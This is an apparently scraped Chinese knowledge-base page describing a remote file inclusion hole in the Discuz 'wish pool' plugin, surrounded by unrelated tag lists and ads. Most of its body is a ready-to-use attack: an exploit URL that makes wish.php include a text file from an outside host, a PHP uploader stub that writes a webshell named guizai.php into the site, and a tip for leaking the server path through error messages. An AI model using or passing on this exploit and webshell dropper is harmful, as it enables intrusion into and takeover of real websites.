主頁 > 知識庫 > discuz許愿池插件遠程包含漏洞

discuz許愿池插件遠程包含漏洞
熱門標(biāo)簽：怎么更改地圖標(biāo)注電話 寧夏保險智能外呼系統(tǒng)哪家好 防城港市ai電銷機器人 隨州銷售外呼系統(tǒng)平臺 激戰(zhàn)黃昏地圖標(biāo)注說明 不同的地圖標(biāo)注 臨滄移動外呼系統(tǒng)哪家有 溫嶺代理外呼系統(tǒng) 交行外呼系統(tǒng)有哪些
許愿池插件的wish.php文件出的問題：
require $discuz_root.'./include/discuzcode.func.php';

手工利用方法：
遠程包含漏洞，變量discuz_root過濾不嚴，利用方法：
http://url/wish.php?discuz_root=http://www.neeao.com/xxxx.txt?
不一定非要txt后綴，可以改為任意后綴，后面一定要記得加問號。
這里xxxx.txt用CN.Tink的那個小馬寫個shell進去：
?copy($_FILES[MyFile][tmp_name],"C:\Inetpub\vhosts\baidu.com\bbs\guizai.php");?>
form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
input NAME="MyFile" TYPE="file">
input VALUE=" 提交 " TYPE="submit">
/form>
網(wǎng)站物理路徑可以通過提交http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt ，看錯誤提示信息，然后修改xxxx.txt中的路徑即可。 guizai.php就是你上傳的shell的名字。 

標(biāo)簽：青海 忻州 河源 無錫 哈密 沈陽 阜陽 紅河

巨人網(wǎng)絡(luò)通訊聲明：本文標(biāo)題《discuz許愿池插件遠程包含漏洞》，本文關(guān)鍵詞  discuz,許愿,池,插件,遠程,；如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題，煩請?zhí)峁┫嚓P(guān)信息告之我們，我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò)，涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《discuz許愿池插件遠程包含漏洞》相關(guān)的同類信息！
  • 本頁收集關(guān)于discuz許愿池插件遠程包含漏洞的相關(guān)信息資訊供網(wǎng)民參考！

    • 四合一精品企业网站建设

    多一个网站就为企业多增加一条营销渠道

    ¥888元限时抢购

    QQ立即咨询快速购买

    企业400电话

    智能AI客服机器人
    ￥15000

    在线订购

    合计11份范本：公司章程+合伙协议+出资协议+合作协议+股权转让协议+增资扩股协议+股权激励+股东会决议+董事会决议

    推薦文章